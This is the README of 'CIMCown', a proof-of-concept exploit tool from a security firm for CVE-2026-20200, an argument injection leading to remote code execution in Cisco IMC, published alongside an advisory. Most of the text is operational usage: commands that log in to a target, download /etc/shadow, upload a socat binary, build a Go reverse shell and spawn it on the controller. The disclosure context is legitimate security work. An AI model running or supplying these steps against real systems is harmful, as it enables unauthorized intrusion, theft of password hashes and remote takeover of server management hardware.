CIMCown

CVE-2026-20200 Argument Injection in Cisco IMC with RCE

Christoph Peil @ NSIDE ATTACK LOGIC 2026

CVE: CVE-2026-20200
CVSS v3.1 (CISCO): 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v3.1 (NSIDE): 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Advisory: NSIDE-SA-2026-003
Blogpost: https://www.nsideattacklogic.de/en/cisco-imc-when-remote-management-becomes-a-backdoor-cve-2026-20200/

This proof-of-concept is for demonstration purposes only and is not allowed to be used for illegal activities. NSIDE ATTACK LOGIC is not responsible for any damage caused by the use or misuse of this code.

This exploit allows to download files, upload files, spawning a reverse shell. It contains multiple python files of the PoC, a folder shell, and a folder download.

In the folder download are all files placed, which are downloaded from the server, with their name (e.g. /etc/passwd > passwd).

The folder shell contains everything needed for a reverse shell. The file lib.so is a small library, build for ARM to simply execute the binary on IMC in /tmp/main. The exact command used to build it is found in util.py. Also, in the folder lies a reverse_shell.go.example, a small Go Reverse Shell, which needs to be compiled previously, to contain your local IP used for the reverse shell.

For reverse shell to work, you first have to build it with the action -a build.

Installation:

sudo apt install golang-go
pip install -r requirements.txt

Usage

Usage: CIMCown.py [-h] [--proxy PROXY] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-v]
options:
  -h, --help            show this help message and exit
  --proxy PROXY         Set proxy to use, e.g. 127.0.0.1:8080 (Default: NONE)
  -t, --host HOST       Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
  -U, --username USERNAME
  -P, --password PASSWORD
  -a, --action ACTION   Action: test, download, upload, build, shell (default: test)
						Test will connect to the CIMC and download the file /etc/passwd
  -u, --uploadFile UPLOADFILE
                        File to upload
  -p, --remoteFile REMOTEFILE
                        Remote file path to upload to
  -d, --downloadFile DOWNLOADFILE
                        File to download, is saved into 'Download'
  -v, --verbose         Displays more information about cimc

Examples

Mind the capital U and capital P for user and password!

Test the tool and login

python ./CIMCown.py -U testAdmin -P testPassword -a test -t 192.168.10.2

Download the file /etc/shadow

python ./CIMCown.py -U testAdmin -P testPassword -a download -d '/etc/shadow' -t 192.168.10.2

Upload the file ./shell/socat to /tmp/socat

python ./CIMCown.py -U testAdmin -P testPassword -a upload -u './shell/socat' -p '/tmp/socat' -t 192.168.10.2

Build the Go revshell

python ./CIMCown.py -U testAdmin -P testPassword -a build

Gain a reverse Shell

action 'build' is needed before for local IP in revShell

# action 'build' is needed before for local IP in revShell
python ./CIMCown.py -U testAdmin -P testPassword -a shell